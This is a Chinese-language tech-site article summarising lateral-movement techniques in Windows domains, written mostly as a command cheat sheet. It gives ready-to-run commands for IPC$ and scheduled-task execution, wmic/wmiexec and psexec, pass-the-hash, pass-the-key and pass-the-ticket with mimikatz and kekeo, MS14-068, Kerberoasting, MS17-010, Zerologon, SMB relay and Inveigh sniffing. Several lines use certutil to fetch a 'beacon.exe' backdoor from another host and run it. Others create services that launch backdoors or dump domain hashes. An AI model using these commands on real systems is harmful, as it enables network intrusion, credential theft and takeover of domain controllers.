IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 内网安全-常见横向移动总结 -> 正文阅读

[网络协议]内网安全-常见横向移动总结

域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁中,攻击者会利用该技术,以被攻陷的机器为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。

通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设施和业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议管理员定期修改密码,从而使攻击者获取的权限失效。

横向移动手法

IPC

简介:IPC是专用管道,可以实现对远程计算机的访问,

条件:需要使用目标系统用户的账号密码,使用139、445端口。

利用流程:

1. 建立IPC链接到目标主机

2. 拷贝要执行的命令脚本到目标主机

3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

4. 删除IPC链接

演示:

横向移动

测试环境:192.168.224.129代替192.168.46.146

通过外网网站渗透拿到一个webs hell,然后连接菜刀

上传一个cs生成的木马,菜刀执行这个马,cs上线,提权这个上线的目标以获取更多信息。

下一步:信息收集-上传Ladon64.exe,AdFind.exe-

ipconfig #查看内网网段

shell ladon64.exe 192.168.3.0/24 onlinepc #3网段存活主机扫描

shell AdFind -sc dolist #获取域控名称

ping 域控得到域控IP

shell AdFind -users name #获取域内所有用户名

正在上传…重新上传取消正在上传…重新上传取消正在上传…重新上传取消

net view #查看存活主机

run mimkaz #获取密文/明文/密码

信息收集-确定每台机器的角色

下一步:ipc横向渗透

利用流程

IPC是专用管道,可以实现对远程计算机的访问,

前提条件:需要使用目标系统用户的账号密码,使用139、445端口。

1. 建立IPC链接到目标主机

2. 拷贝要执行的命令脚本到目标主机

3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

4. 删除IPC链接

net?use?\\server\ipc$ "password"?/user:username?#?工作组

net?use?\\server\ipc$ "password"?/user:domain\username?#域内

dir?\\xx.xx.xx.xx\C$\????????????????#?查看文件列表

copy \\xx.xx.xx.xx\C$\1.bat?1.bat??#?下载文件

copy 1.bat \\xx.xx.xx.xx\C$??#?复制文件

net?use?\\xx.xx.xx.xx\C$\1.bat?/del??#?删除IPC

net?view?xx.xx.xx.xx????????????????#?查看对方共享

#建立IPC常见的错误代码

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

(2)51:网络问题,Windows 无法找到网络路径

(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题

(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$

(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除

(6)1326:账号密码错误

(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况

(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

?#建立IPC失败的原因

(1)目标系统不是NT或以上的操作系统

(2)对方没有打开IPC$共享

(3)对方未开启139、445端口,或者被防火墙屏蔽

(4)输出命令、账号密码有错误

绑定本地4444,执行该木马后把数据给到本机的4444端口,然后用一台可以访问它的机器去连接它。

然后把这个木马上传到web server这台机器上,然后复制文件到ipc连接的机器上

copy 1.bat \\xx.xx.xx.xx\C$??#?复制文件

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件

schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务

connect 192.168.3.32 #连接192.168.3.32

提权&收集&横向&上线-impacket-atexec

https://gitee.com/RichChigga/impacket-examples-windows

该工具是一个半交互的工具,适用于Webshell下,Socks代理下;

在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试

CS本地用户明文连接:

shell atexec.exe?./administrator:Admin12345@192.168.3.21?"whoami"

CS域内用户明文连接:

shell atexec.exe?god/administrator:Admin12345@192.168.3.21?"ver"

CS域内本地用户明文密文连接:

atexec.exe?-hashes?:ccef208c6485269c20db2cad21734fe7?./administrator@192.168.3.21?"whoami"

atexec.exe?-hashes?:ccef208c6485269c20db2cad21734fe7?god/administrator@192.168.3.21?"whoami"

WMI横向-cscript&wmiexec&wmic

WMI是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,

并且该方法不会在目标日志系统留下痕迹。

1.wmic

内部:(单执行)(无任何回显)(不支持HACH连接)

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"

2.cscript

内置:(交互式)(不支持HASH连接)

上传wmiexec.vbs

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

3.wmiexec

外部:(交互式&单执行)(第三方软件,需上传下载)

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"

wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"

下载后门:

wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"

执行后门:

wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c c:/beacon.exe"

SMB横向-psexec&smbexec&services

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。

1.psexec

内部:(交互式 windows官方工具)(需下载上传)

psexec64?\\192.168.3.32?-u?administrator?-p?admin!@#45?-s?cmd

CS执行后无交互/无法操作,解决方案:反弹MSF/进程窃取

外部:(交互式 内网外人开发的工具)

psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

引用MSF回显反弹接受CMD

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

spawn msf

2.smbexec

外部:(交互式)

smbexec ./administrator:admin!@#45@192.168.3.32

smbexec god/administrator:admin!@#45@192.168.3.32

smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32

3.services

内置:(单执行)(系统自带)

services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe

services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell

缺点:在未取得权限的情况下,无法上传shell.exe

CS全自动横向-内置psexec/winrm

横向移动-PTH&PTK&PTT技术

PTH(pass the hash) #利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)

#PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击,

总结:KB2871997补丁后的影响

pth:没打补丁用户都可以连接,打了补丁只能administrator连接

ptk:打了补丁才能用户都可以连接,采用aes256连接

参考:https://www.freebuf.com/column/220740.html

#利用-域横向移动PTH传递-mimikatz

mimikatz privilege::debug

mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.21 /ntlm:ccef208c6485269c20db2cad21734fe7

shell dir \\192.168.3.21\c$

net use \\192.168.3.21\c$

copy beacon.exe \\192.168.3.21\c$

sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"

sc \\OWA2010CN-GOD start bindshell

PTH执行后弹出cmd

进行屏幕控制或进程窃取

进程窃取CS执行命令:steal_token 要窃取进程的PID

域横向移动PTK传递-mimikatz

PTK(pass the key) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)

ptk:打了补丁才能用户都可以连接,采用aes256连接

mimikaz获取密码:mimikatz sekurlsa::logonpasswords 抓取密码

mimikatz sekurlsa::ekeys 获取aes的加密值

sekurlsa::pth /user:administrator /domain:god /aes256:64f2cda9c6aa77302edc1362fd1a1c49cf4bd8c4f52ea7a17a2741b67a278fad

sekurlsa::pth /user:administrator /domain:god /aes256:2420dceacdbc441dc41375b0bf2bb28c5d0fe5df008115b57698a21a095aa9a1

参考:https://www.freebuf.com/column/220740.html

域横向移动PTT传递-ms14068&kekeo&local

PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。

它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。

该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。

用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

https://github.com/gentilkiwi/kekeo/releases

#PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。

MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)

其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术

MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。

漏洞 MS14068(webadmin权限)

shell whoami/user #获取当前用户的SID值。

shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45 #生成凭证

shell klist purge #清除所有凭证

mimikatz kerberos::ptc TGT_webadmin@god.org.ccache #导入凭证

shell dir \\OWA2010CN-GOD\c$

?shell net use \\OWA2010CN-GOD\C$ #建立连接

copy beacon.exe \\OWA2010CN-GOD\C$ #复制后门到目标C盘

sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe" #创建服务并绑定后门

sc \\OWA2010CN-GOD start bindshell #启动服务(执行后门)

2、kekeo(administrator权限,需NTLM)

shell kekeo "tgt::ask /user:webadmin /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" "exit"? #生成票据

shell kekeo "kerberos::ptt TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit" #导入票据

shell klist #列出票据

3、mimikatz(administrator,需ticket)

mimikatz sekurlsa::tickets /export #生成所有票据,选择这个60开头,@krbtgt-GOD

shell mimikatz "privilege::debug" "kerberos::ptt C:\inetpub\wwwroot\[0;3e4]-0-3-40a40000-WEBSERVER$@cifs-OWA2010CN-God.god.org.kirbi" "exit" #导入票据

shell klist #列出票据

#域横向移动自动化平台-MSF&CrackMapExec

1、MSF

批扫

use auxiliary/scanner/smb/smb_login

set threads 10

set rhosts 192.168.3.0/24

set smbdomain god

set user_file /root/user.txt

set pass_file /root/pass.txt

run

利用

use exploit/windows/smb/psexec

set payload windows/meterpreter/bind_tcp

set RHOSTS 192.168.3.32

set smbuser administrator

set smbpass admin!@#45

run

内网渗透神器:CrackMapExec

官方手册:https://mpgn.gitbook.io/crackmapexec/

部分案例:https://www.freebuf.com/sectool/184573.html

下载对应release,建立socks连接,设置socks代理,配置规则,调用!

域横向移动Winrm&Winrs

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。

默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

移动条件:双方都启用的Winrm/rs的服务!

利用条件:使用此服务需要管理员级别凭据。

Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;

Windows 2012之后的版本默认允许远程任意主机来管理。

攻击机开启winrm服务:winrm quickconfig -q

1.探针可用:

cs 内置端口扫描5985

powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

2.连接执行:

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami

winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

3.上线CS&MSF:

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c c:/beacon.exe"

4.CS内置winrm/rs模块

域横向移动RDP连接

远程桌面服务 支持明文及HASH连接

条件:对方开启RDP服务 远程桌面

1.探针服务:

cs 内置端口扫描3389

tasklist /svc | find "TermService" # 找到对应服务进程的PID

netstat -ano | find "PID值" # 找到进程对应的端口号

2.探针连接:

CrackMapExec&MSF 批扫用户名密码验证

3.连接执行:

明文连接:

mstsc /console /v:192.168.3.32 /admin

HASH连接:

mimikatz privilege::debug

mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

域横向移动SPN技术-扫描&Kerberos

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。

DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。

请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。

黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。

如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

利用工具:https://github.com/nidem/kerberoast

参考:https://www.freebuf.com/articles/system/174967.html

1.扫描:

setspn -T 0day.org -q */*

setspn -T 0day.org -q */* | findstr "MSSQL"

2.请求:

powershell Add-Type -AssemblyName System.IdentityModel

powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SqlServer.god.org:1433"

3.导出:

mimikatz "kerberos::list?/export"

4.破解:

python tgsrepcrack.py pass.txt "1-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"

5.重写:

https://www.freebuf.com/articles/system/174967.html

横向移动MS17010漏洞

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码

漏洞影响:Windows XP、 Windows Server 2003. Windows Vista、Windows Server 2008、 Windows 7. Windows Server2008 R2、Windows 8.1、Windows Server 2012. Windows10、Windows Server 2012 R2、Windows Server 2016

1、探针漏洞模块-MSF

use auxiliary/scanner/smb/smb_ms17_010

2、漏洞利用模块-MSF

use exploit/windows/smb/ms17_010_psexec

3.payload

windwos/meterpreter/bing_tcp #由于不出网,需设置主动连接.

横向移动Exchange

Exchange历史漏洞:细数微软Exchange 的那些漏洞 - Bypass - 博客园

CVE-2020-17144:Microsoft Exchage 远程代码执行漏洞

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,绕过身份验证利用改漏洞可造成任意远程命令执行。

利用条件:Exchange2010,普通账号。

https://github.com/Airboi/CVE-2020-17144-EXP

利用流程:?

获取一个Exchange账号

visual studio编译exp

使用:CVE-2020-17144-EXP.exe mail.example.com user pass

执行命令 & 端口复用: 修改ExploitClass.cs

横向移动域控提权

CVE-2020-1472

漏洞说明:2020年08月12日,Windows官方 发布了?NetLogon 特权提升漏洞?的风险通告,该漏洞编号为?CVE-2020-1472,漏洞等级:严重,漏洞评分:10分;攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序

漏洞影响:

Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2012 Windows Server 2012

Windows Server 2012 R2 Windows Server 2012 R2

Windows Server 2016 Windows Server 2016

Windows Server 2019 Windows Server 2019

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004(Server Core installation)

利用流程:

1.上线CS转发给MSF

2.MSF收到后,查看/添加内网路由地址

3.添加sock5代理-->>use auxiliary/server/socks_proxy

4.proxychains添加sock5代理

5.连接DC清空凭证:

proxychains python cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21

6.获取域内HASH:

proxychains python secretsdump.py OWA2010CN-GOD\$@192.168.3.21 -just-dc -no-pass

后续HASH渗透测试前需要恢复:

https://www.cnblogs.com/mrhonest/p/14306445.html

利用EXP:

impacket导出所有hash:(安装sudo pip3 install .)

https://github.com/SecureAuthCorp/impacket

重置域内管理员密码:

https://github.com/dirkjanm/CVE-2020-1472

恢复密码:

https://github.com/risksense/zerologon

横向移动-中继攻击-smb_relay

测试条件:

1.Win8以下操作系统

2.双方账户密码一致

测试流程:

dir \\目标IP\c$

默认以本地账号密码去连接目标

MSF利用

攻击机IP:192.168.1.8

win2003:192.168.1.3

win7:192.168.1.5

攻击机-MSF:

msf:

use exploit/windows/smb/smb_relay

set smbhost 目标IP

set lhost 攻击机本地IP

set autorunscript post/windows/manage/migrate

run

win2003-->请求攻击机IPC盘文件

Win2003会自带当前用户的账号密码去尝试登录请求,由于攻击机MSF 设置了smbhost=192.168.1.5 #将win2003这个请求数据转发到192.168.1.5(获取与win7通讯的凭证(账号密码))

横向移动-中间人攻击-Inveigh嗅探

测试项目:

https://github.com/hashcat/hashcat/

https://github.com/Kevin-Robertson/Inveigh

测试环境:

内网域god.org,实现域内通信数据拦截

测试过程:

1、监听拦截

import-module Inveigh.psd1

Invoke-Inveigh -ConsoleOutput Y

获取到的是NET NTLM HASH V1或V2

2、触发拦截

dir \\192.168.3.x\c$

3、破解密文

hashcat -m 5600 hash pass.txte -o ok.txt --force

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-04-27 11:39:57  更:2022-04-27 11:41:22 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 2:35:10-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码